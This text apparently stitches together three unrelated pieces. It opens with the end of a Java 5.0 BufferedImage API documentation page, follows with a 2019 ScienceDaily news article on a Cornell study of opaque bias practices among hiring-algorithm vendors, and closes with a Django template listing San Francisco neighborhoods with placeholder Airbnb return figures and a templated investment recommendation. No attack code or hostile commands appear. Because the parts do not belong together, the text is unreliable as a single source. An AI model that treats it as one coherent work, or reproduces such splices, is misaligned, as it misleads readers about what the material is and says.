are notified when a tile goes from having one writer to having no
writers.
releaseWritableTile
in interface WritableRenderedImage
tileX
- the x index of the tiletileY
- the y index of the tilepublic int getTransparency()
getTransparency
in interface Transparency
BufferedImage
.Transparency.OPAQUE
,
Transparency.BITMASK
,
Transparency.TRANSLUCENT
public ImageCapabilities getCapabilities(GraphicsConfiguration gc)
getCapabilities
in class Image
gc
- a GraphicsConfiguration
object. A value of null
for this parameter will result in getting the image capabilities
for the default GraphicsConfiguration
.
ImageCapabilities
object that contains
the capabilities of this Image
on the specified
GraphicsConfiguration.VolatileImage.getCapabilities()
|
JavaTM 2 Platform Standard Ed. 5.0 |
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
Copyright © 2004, 2010 Oracle and/or its affiliates. All rights reserved. Use is subject to license terms. Also see the documentation redistribution policy.


Are hiring algorithms fair? They're too opaque to tell, study finds
| Source: | Cornell University |
| Summary: | New research raises questions about hiring algorithms and the tech companies who develop and use them: How unbiased is the automated screening process? How are the algorithms built? And by whom, toward what end, and with what data? |
Time is money and, unfortunately for companies, hiring new employees takes significant time — more than a month on average, research shows.
Hiring decisions are also rife with human bias, leading some organizations to hand off at least part of their employee searches to outside tech companies who screen applicants with machine learning algorithms. If humans have such a hard time finding the best fit for their companies, the thinking goes, maybe a machine can do it better and more efficiently.
But new research from a team of Computing and Information Science scholars at Cornell University raises questions about those algorithms and the tech companies who develop and use them: How unbiased is the automated screening process? How are the algorithms built? And by whom, toward what end, and with what data?
They found companies tend to favor obscurity over transparency in this emerging field, where lack of consensus on fundamental points — formal definitions of "bias" and "fairness," for starters — have enabled tech companies to define and address algorithmic bias on their own terms.
"I think we're starting to see a growing recognition among creators of algorithmic decision-making tools that they need to be particularly cognizant of how their tools impact people," said Manish Raghavan, a doctoral student in computer science and first author of "Mitigating Bias in Algorithmic Employment Screening: Evaluating Claims and Practices," to be presented in January at the Association for Computing Machinery Conference on Fairness, Accountability and Transparency.
"Many of the vendors we encountered in our work acknowledge this (impact) and they're taking steps to address bias and discrimination," Raghavan said. "However, there's a notable lack of consensus or direction on exactly how this should be done."
The researchers scoured available public information to begin to understand these tools and what measures, if any, companies have in place to evaluate and mitigate algorithmic bias. Shielded by intellectual property laws, tech companies don't have to disclose any information about their algorithmic models for pre-employment screenings — though some companies did choose to offer insight.
The researchers honed in on 19 vendors who specialize in algorithmic pre-employment screenings, which, they found, include questions, video interview analysis and games. They combed company websites, webinars and any available documents for insights into vendor claims and practices.
Very few vendors offer concrete information about how they validate their assessments or disclose specifics on how they mitigate algorithmic bias, researchers found.
"Plenty of vendors make no mention of efforts to combat bias, which is particularly worrying since either they're not thinking about it at all, or they're not being transparent about their practices," Raghavan said.
Even if they use such terms as "bias" and "fairness," these can be vague. A vendor can claim its assessment algorithm is "fair" without revealing how the company defines fairness.
It's like "free-range" eggs, Raghavan said: There is a set of conditions under which eggs can be labeled free range, but our intuitive notion of free range may not line up with those conditions.
"In the same way, calling an algorithm 'fair' appeals to our intuitive understanding of the term while only accomplishing a much narrower result than we might hope for," he said.
The team hopes the paper will encourage transparency and conversation around what it means to act ethically in this domain of pre-employment assessments through machine learning.
Given the challenges, could it be that algorithms are just not up to the job of screening applicants? Not so fast, Raghavan said.
"We know from years of empirical evidence that humans suffer from a variety of biases when it comes to evaluating employment candidates," he said. "The real question is not whether algorithms can be made perfect; instead, the relevant comparison is whether they can improve over alternative methods, or in this case, the human status quo.
"Despite their many flaws," he said, "algorithms do have the potential to contribute to a more equitable society, and further work is needed to ensure that we can understand and mitigate the biases they bring."
The paper's co-authors are Solon Barocas, assistant professor of information science, currently at Microsoft Research; Jon Kleinberg, Tisch University Professor of Computer Science and interim dean of CIS; and Karen Levy, assistant professor of information science.
The research is supported, in part, by a grant from the MacArthur Foundation to Cornell's Artificial Intelligence, Policy, and Practice Initiative; the National Science Foundation; and Microsoft Research.
make a difference: sponsored opportunity
Story Source:
Materials provided by Cornell University. Original written by Louis DiPietro.
Note: Content may be edited for style and length.
Cite This Page:
| MLA | Cornell University. "Are hiring algorithms fair? They're too opaque to tell, study finds." ScienceDaily. ScienceDaily, 20 November 2019. <www.sciencedaily.com/releases/2019/11/191120175616.htm>. |
| APA | Cornell University. (2019, November 20). Are hiring algorithms fair? They're too opaque to tell, study finds. ScienceDaily. Retrieved November 21, 2019 from www.sciencedaily.com/releases/2019/11/191120175616.htm |
| Chicago | Cornell University. "Are hiring algorithms fair? They're too opaque to tell, study finds." ScienceDaily. www.sciencedaily.com/releases/2019/11/191120175616.htm (accessed November 21, 2019). |


{% load staticfiles %}
Bayview
Bernal
Castro/Upper Market
Chinatown
Crocker Amazon
Diamond Heights
Downtown/Civic Center
Excelsior
Financial District
Glen Park
Golden Gate Park
Haight Ashbury
Inner Richmond
Inner Sunset
Lakeshore
Marina
Mission
Nob Hill
Noe Valley
North Beach
Ocean View
Outer Mission
Outer Richmond
Outer Sunset
Pacific Heights
Parkside
Potrero Hill
Presidio
Presidio Heights
Russian Hill
Seacliff
South of Market
Treasure Island/YBI
Twin Peaks
Visitacion Valley
West of Twin Peaks
Western Addition
{{ Bayviewmon }}
{{ BernalHeightsmon }}
{{ CastroUpperMarketmon }}
{{ Chinatownmon }}
{{ CrockerAmazonmon }}
{{ DiamondHeightsmon }}
{{ DowntownCivicCentermon }}
{{ Excelsiormon }}
{{ FinancialDistrictmon }}
{{ GlenParkmon }}
{{ GoldenGateParkmon }}
{{ HaightAshburymon }}
{{ InnerRichmondmon }}
{{ InnerSunsetmon }}
{{ Lakeshoremon }}
{{ Marinamon }}
{{ Missionmon }}
{{ NobHillmon }}
{{ NoeValleymon }}
{{ NorthBeachmon }}
{{ OceanViewmon }}
{{ OuterMissionmon }}
{{ OuterRichmondmon }}
{{ OuterSunsetmon }}
{{ PacificHeightsmon }}
{{ Parksidemon }}
{{ PotreroHillmon }}
{{ Presidiomon }}
{{ PresidioHeightsmon }}
{{ RussianHillmon }}
{{ Seacliffmon }}
{{ SouthofMarketmon }}
{{ TreasureIslandYBImon }}
{{ TwinPeaksmon }}
{{ VisitacionValleymon }}
{{ WestofTwinPeaksmon }}
{{ WesternAdditionmon }}
These numbers were made from looking at over 6000 different ABnB listings, and their prices
It is recommended to invest in {{ best_neighborhood }}, because of its high returns, but this website doesn't have access to exact property values. So, while this neighborhood may have very high returns, it probably also has very high property values, which might make it less appealing to invest in. Despite that fact, with the information given, it is recommended to invest in this neighborhood.